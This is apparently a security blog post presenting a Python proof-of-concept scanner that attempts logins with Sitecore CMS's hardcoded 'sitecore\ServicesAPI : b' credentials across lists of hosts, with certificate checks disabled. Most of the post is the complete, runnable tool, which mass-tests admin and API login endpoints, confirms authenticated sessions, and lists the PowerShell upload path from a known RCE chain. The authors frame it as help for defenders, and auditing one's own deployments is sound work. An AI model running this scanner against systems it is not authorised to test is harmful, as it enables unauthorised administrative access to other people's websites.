We Wrote a Lightweight Proof of Concept for Default Credentials in Sitecore CMS

Sitecore CMS continues to be a rich target for attackers, especially in light of recent research outlining a pre-authentication RCE chain disclosed by WatchTowr Labs. While their in-depth analysis covers a complex chain involving multiple CVEs, we focused on a more tactical angle: identifying installations with default credentials still enabled.
In this post, we share a Proof of Concept (PoC) we wrote to scan a list of IPs or domains and flag instances where Sitecore's default credentials are valid. The purpose is simple: help defenders identify weak configurations in a noisy, practical way.
Security researchers at WatchTowr uncovered a sophisticated attack chain involving multiple Sitecore endpoints, including unauthenticated access points and modules like PowerShell Extensions. Among the many findings, one of the stages in the chain is authentication using hardcoded credentials:
sitecore\ServicesAPI : b
In their words, “b is for backdoor.”
Rather than reproduce the full RCE chain, we built a practical scanner that:
aiohttp
with concurrency control to hit multiple targets quicklyThe default credentials can be used to attempt logins by sending POST requests to these endpoints. Our scanner interprets the response behavior to determine if authentication succeeded. For example, by checking for the absence of login failure messages, presence of HTTP 302 redirects, or the successful retrieval of a session token. In some cases, the tool uses session cookies to verify access to authenticated-only resources like the version XML file, providing higher confidence in the result.
Each host is scanned across HTTP and HTTPS with and without the www.
prefix, enabling coverage for most public-facing deployments.
[VULN]
- Default credentials successfully authenticated and a valid session was confirmed (e.g., access to a protected resource). The instance is actively vulnerable.[AUTH PASSED]
- The login accepted the credentials, but follow-up checks (like session validation) failed. This may indicate partial access or session misbehavior; further investigation recommended.[AUTH FAIL]
/ [NO VULN]
- Authentication failed or no Sitecore-related endpoints responded in a way that suggests exposure. The target appears not vulnerable based on current checks.
This PoC is not a full exploit chain. It does not attempt file upload, code execution, or exploit PowerShell modules. Instead, it focuses exclusively on authentication checks using known credentials, a fundamental security hygiene issue that remains surprisingly common in the wild.
1import sys
2import re
3import asyncio
4import aiohttp
5import ssl
6from urllib.parse import urlparse
7
8try:
9 from colorama import init as colorama_init, Fore, Style
10except ImportError:
11 print("Please install colorama: pip3 install colorama")
12 sys.exit(1)
13
14colorama_init(autoreset=True)
15
16DEFAULT_USER = "sitecore\\ServicesAPI"
17DEFAULT_PASS = "b"
18ENDPOINTS = [
19 "/sitecore/admin/login.aspx",
20 "/sitecore/admin/",
21 "/sitecore/api/ssc/auth/login",
22 "/sitecore/login",
23 "/sitecore",
24 "/sitecore/shell/sitecore.version.xml",
25 "/sitecore/modules/shell/powershell/uploadfile/powershelluploadfile2.aspx",
26]
27
28HEADERS = {"User-Agent": "Mozilla/5.0 (compatible; SitecorePoC/1.0)"}
29
30TIMEOUT = aiohttp.ClientTimeout(total=10)
31CONNECTIONS_LIMIT = 20
32
33
34def is_ipv6(host):
35 if "[" in host and "]" in host:
36 return True
37 if ":" in host and not re.match(r"^\d{1,3}(\.\d{1,3}){3}$", host):
38 return True
39 return False
40
41
42def normalize_target(target):
43 target = target.strip()
44 if not target:
45 return None
46 if re.match(r"^https?://", target, re.I):
47 p = urlparse(target)
48 host = p.hostname
49 scheme = p.scheme.lower()
50 path = p.path or "/"
51 return scheme, host, path
52 if re.match(r"^[\d\.]+$", target):
53 return None, target, "/"
54 if is_ipv6(target):
55 return None, None, None
56 return None, target, "/"
57
58
59def gen_urls(host):
60 hosts = []
61 if host.startswith("www."):
62 hosts.append(host)
63 else:
64 hosts.append(host)
65 hosts.append("www." + host)
66 urls = []
67 for h in hosts:
68 for scheme in ("http", "https"):
69 urls.append((scheme, h))
70 return urls
71
72
73async def try_authenticate(session, base_url):
74 login_path = "/sitecore/admin/login.aspx"
75 login_url = f"{base_url}{login_path}"
76 data = {
77 "UserName": DEFAULT_USER,
78 "Password": DEFAULT_PASS,
79 "RememberMe": "false",
80 "login": "Log in",
81 }
82 try:
83 async with session.post(login_url, data=data, allow_redirects=False) as resp:
84 text = await resp.text(errors="ignore")
85 fail_1 = re.search(r"Invalid username or password", text, re.I)
86 fail_2 = re.search(r"You do not have access", text, re.I)
87 fail_3 = re.search(r"login failed", text, re.I)
88 fail_4 = re.search(r"error", text, re.I)
89 if resp.status in {200, 302}:
90 if fail_1 or fail_2:
91 return False
92 return True
93 except Exception:
94 pass
95 return False
96
97
98async def try_session_cookie(session, base_url):
99 login_path = "/sitecore/admin/login.aspx"
100 version_path = "/sitecore/shell/sitecore.version.xml"
101 login_url = f"{base_url}{login_path}"
102 version_url = f"{base_url}{version_path}"
103 login_data = {
104 "UserName": DEFAULT_USER,
105 "Password": DEFAULT_PASS,
106 "RememberMe": "false",
107 "login": "Log in",
108 }
109 try:
110 async with session.post(
111 login_url, data=login_data, allow_redirects=False
112 ) as login_resp:
113 if login_resp.status not in (200, 302):
114 return False
115 cookies = session.cookie_jar.filter_cookies(login_url)
116 async with session.get(
117 version_url, allow_redirects=False, cookies=cookies
118 ) as ver_resp:
119 if ver_resp.status == 200:
120 text = await ver_resp.text(errors="ignore")
121 if "Sitecore" in text or text.startswith("<?xml"):
122 return True
123 except Exception:
124 pass
125 return False
126
127
128async def check_target(semaphore, target):
129 scheme_in, host_in, path_in = normalize_target(target)
130 if host_in is None or is_ipv6(host_in):
131 print(f"{Fore.YELLOW}[SKIP]{Style.RESET_ALL} {target} (unsupported or IPv6)")
132 return
133 urls = gen_urls(host_in)
134 sslcontext = ssl.create_default_context()
135 sslcontext.check_hostname = False
136 sslcontext.verify_mode = ssl.CERT_NONE
137 connector = aiohttp.TCPConnector(limit=CONNECTIONS_LIMIT, ssl=sslcontext, family=2)
138 async with semaphore:
139 async with aiohttp.ClientSession(
140 connector=connector,
141 timeout=TIMEOUT,
142 headers=HEADERS,
143 trust_env=True,
144 ) as session:
145 for scheme, host in urls:
146 base_url = f"{scheme}://{host}"
147 for ep in ENDPOINTS:
148 url = f"{base_url}{ep}"
149 try:
150 async with session.get(url, allow_redirects=False) as resp:
151 status = resp.status
152 if 200 <= status < 400:
153 if ep.startswith("/sitecore/admin"):
154 auth_ok = await try_authenticate(session, base_url)
155 if auth_ok:
156 session_ok = await try_session_cookie(
157 session, base_url
158 )
159 if session_ok:
160 print(
161 f"{Fore.GREEN}[VULN]{Style.RESET_ALL} "
162 f"{target} - Authentication successful at "
163 f"{url} with {DEFAULT_USER}:b"
164 )
165 return
166 else:
167 print(
168 f"{Fore.YELLOW}[AUTH PASSED]{Style.RESET_ALL} "
169 f"{target} - Credentials accepted but session "
170 f"cookie test failed at {url}"
171 )
172 return
173 elif ep == "/sitecore/api/ssc/auth/login":
174 post_data = {
175 "username": DEFAULT_USER,
176 "password": DEFAULT_PASS,
177 }
178 try:
179 async with session.post(
180 url,
181 json=post_data,
182 allow_redirects=False,
183 ) as post_resp:
184 pstatus = post_resp.status
185 ptext = await post_resp.text(
186 errors="ignore"
187 )
188 if pstatus in (200, 201) and (
189 "token" in ptext.lower()
190 or "access_token" in ptext.lower()
191 ):
192 print(
193 f"{Fore.GREEN}[VULN]{Style.RESET_ALL} "
194 f"{target} - ItemService API login "
195 f"successful at {url} with {DEFAULT_USER}:b"
196 )
197 return
198 if pstatus == 401:
199 print(
200 f"{Fore.RED}[AUTH FAIL]{Style.RESET_ALL} "
201 f"{target} - ItemService API rejected "
202 f"credentials at {url}"
203 )
204 except Exception:
205 pass
206 elif ep.endswith("powershelluploadfile2.aspx"):
207 pass
208 elif status in (401, 403):
209 continue
210 except Exception:
211 continue
212 print(
213 f"{Fore.RED}[NO VULN]{Style.RESET_ALL} {target} - Could not authenticate "
214 f"or find vulnerable endpoints"
215 )
216
217
218async def main(targets_file):
219 try:
220 with open(targets_file, "rt", encoding="utf-8") as f:
221 targets_list = list(set(line.strip() for line in f if line.strip()))
222 except Exception as e:
223 print(f"Failed to open {targets_file}: {e}")
224 return
225 semaphore = asyncio.Semaphore(CONNECTIONS_LIMIT)
226 tasks = [check_target(semaphore, t) for t in targets_list]
227 await asyncio.gather(*tasks)
228
229
230if __name__ == "__main__":
231 if len(sys.argv) != 2:
232 print("Usage: python3 program.py list.txt")
233 sys.exit(1)
234 asyncio.run(main(sys.argv[1]))
235